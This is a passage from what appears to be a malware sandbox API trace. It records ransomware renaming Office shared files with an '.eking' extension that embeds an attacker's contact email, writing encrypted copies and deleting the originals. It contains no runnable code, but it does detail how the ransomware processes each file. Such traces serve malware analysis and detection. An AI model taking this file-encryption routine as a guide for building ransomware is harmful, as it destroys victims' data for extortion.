Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0262.524] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0262.524] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0262.524] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b4 [0262.524] ReadFile (in: hFile=0x100, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x84a48, lpOverlapped=0x0) returned 1 [0262.981] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x84a50, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x84a50, lpOverlapped=0x0) returned 1 [0262.995] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0262.995] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0262.995] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0262.995] WriteFile (in: hFile=0x100, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x84a48, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x84a48, lpOverlapped=0x0) returned 1 [0262.998] FlushFileBuffers (hFile=0x100) returned 1 [0263.065] FlushFileBuffers (hFile=0x1b4) returned 1 [0263.587] CloseHandle (hObject=0x100) returned 1 [0263.587] CloseHandle (hObject=0x1b4) returned 1 [0263.587] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe")) returned 1 [0263.594] SetEvent (hEvent=0xe0) returned 1 [0263.595] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0263.596] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=7656) returned 1 [0263.596] CloseHandle (hObject=0x1b4) returned 1 [0263.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf")) returned 0x20 [0263.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf")) returned 0x20 [0263.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0263.596] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0263.597] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0263.597] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0263.597] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x100 [0263.597] ReadFile (in: hFile=0x1b4, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x1de8, lpOverlapped=0x0) returned 1 [0263.599] WriteFile (in: hFile=0x100, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x1df0, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x1df0, lpOverlapped=0x0) returned 1 [0263.600] WriteFile (in: hFile=0x100, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0263.600] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0263.600] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0263.600] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x1de8, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x1de8, lpOverlapped=0x0) returned 1 [0263.601] FlushFileBuffers (hFile=0x1b4) returned 1 [0263.605] FlushFileBuffers (hFile=0x100) returned 1 [0263.606] CloseHandle (hObject=0x1b4) returned 1 [0263.607] CloseHandle (hObject=0x100) returned 1 [0263.607] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf")) returned 1 [0263.609] SetEvent (hEvent=0xe0) returned 1 [0263.609] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0263.609] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=31104) returned 1 [0263.609] CloseHandle (hObject=0x100) returned 1 [0263.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll")) returned 0x20 [0263.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll")) returned 0x20 [0263.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0263.615] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0263.615] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0263.615] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0263.615] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b4 [0263.616] ReadFile (in: hFile=0x100, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x7980, lpOverlapped=0x0) returned 1 [0263.618] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x7990, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x7990, lpOverlapped=0x0) returned 1 [0263.619] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0263.619] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0263.620] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0263.620] WriteFile (in: hFile=0x100, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x7980, lpOverlapped=0x0) returned 1 [0263.620] FlushFileBuffers (hFile=0x100) returned 1 [0263.625] FlushFileBuffers (hFile=0x1b4) returned 1 [0263.627] CloseHandle (hObject=0x100) returned 1 [0263.627] CloseHandle (hObject=0x1b4) returned 1 [0263.628] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll")) returned 1 [0263.630] SetEvent (hEvent=0xe0) returned 1 [0263.630] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0263.631] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=38768) returned 1 [0263.631] CloseHandle (hObject=0x1b4) returned 1 [0263.631] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll")) returned 0x20 [0263.631] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll")) returned 0x20 [0263.631] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0263.631] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0263.632] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0263.632] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0263.632] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x100 [0263.634] ReadFile (in: hFile=0x1b4, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x9770, lpOverlapped=0x0) returned 1 [0263.637] WriteFile (in: hFile=0x100, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x9780, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x9780, lpOverlapped=0x0) returned 1 [0263.640] WriteFile (in: hFile=0x100, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0263.640] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0263.640] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0263.640] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x9770, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x9770, lpOverlapped=0x0) returned 1 [0263.641] FlushFileBuffers (hFile=0x1b4) returned 1 [0263.669] FlushFileBuffers (hFile=0x100) returned 1 [0263.671] CloseHandle (hObject=0x1b4) returned 1 [0263.672] CloseHandle (hObject=0x100) returned 1 [0263.672] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll")) returned 1 [0263.674] SetEvent (hEvent=0xe0) returned 1 [0263.675] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0263.675] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=1312656) returned 1 [0263.675] CloseHandle (hObject=0x100) returned 1 [0263.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll")) returned 0x20 [0263.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll")) returned 0x20 [0263.676] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0263.676] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0263.676] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0263.676] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0263.676] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b4 [0263.677] ReadFile (in: hFile=0x100, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x110100, lpOverlapped=0x0) returned 1 [0263.838] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x110100, lpOverlapped=0x0) returned 1 [0263.866] ReadFile (in: hFile=0x100, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x30690, lpOverlapped=0x0) returned 1 [0263.923] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x306a0, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x306a0, lpOverlapped=0x0) returned 1 [0263.928] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0263.929] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0263.929] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0263.929] WriteFile (in: hFile=0x100, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x110102, lpOverlapped=0x0) returned 1 [0263.937] WriteFile (in: hFile=0x100, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x3068e, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x3068e, lpOverlapped=0x0) returned 1 [0263.938] FlushFileBuffers (hFile=0x100) returned 1 [0265.058] FlushFileBuffers (hFile=0x1b4) returned 1 [0265.414] CloseHandle (hObject=0x100) returned 1 [0265.415] CloseHandle (hObject=0x1b4) returned 1 [0265.415] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll")) returned 1 [0265.439] SetEvent (hEvent=0xe0) returned 1 [0265.440] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0265.441] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=6811) returned 1 [0265.441] CloseHandle (hObject=0x1b4) returned 1 [0265.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg")) returned 0x20 [0265.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg")) returned 0x20 [0265.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0265.441] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0265.442] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0265.442] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0265.442] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x100 [0265.442] ReadFile (in: hFile=0x1b4, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x1a9b, lpOverlapped=0x0) returned 1 [0265.447] WriteFile (in: hFile=0x100, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x1aa0, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x1aa0, lpOverlapped=0x0) returned 1 [0265.448] WriteFile (in: hFile=0x100, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0265.449] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0265.449] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0265.449] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x1a9b, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x1a9b, lpOverlapped=0x0) returned 1 [0265.449] FlushFileBuffers (hFile=0x1b4) returned 1 [0265.453] FlushFileBuffers (hFile=0x100) returned 1 [0265.455] CloseHandle (hObject=0x1b4) returned 1 [0265.456] CloseHandle (hObject=0x100) returned 1 [0265.456] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg")) returned 1 [0265.457] SetEvent (hEvent=0xe0) returned 1 [0265.458] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0265.458] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=323936) returned 1 [0265.458] CloseHandle (hObject=0x100) returned 1 [0265.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt")) returned 0x20 [0265.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt")) returned 0x20 [0265.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0265.459] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 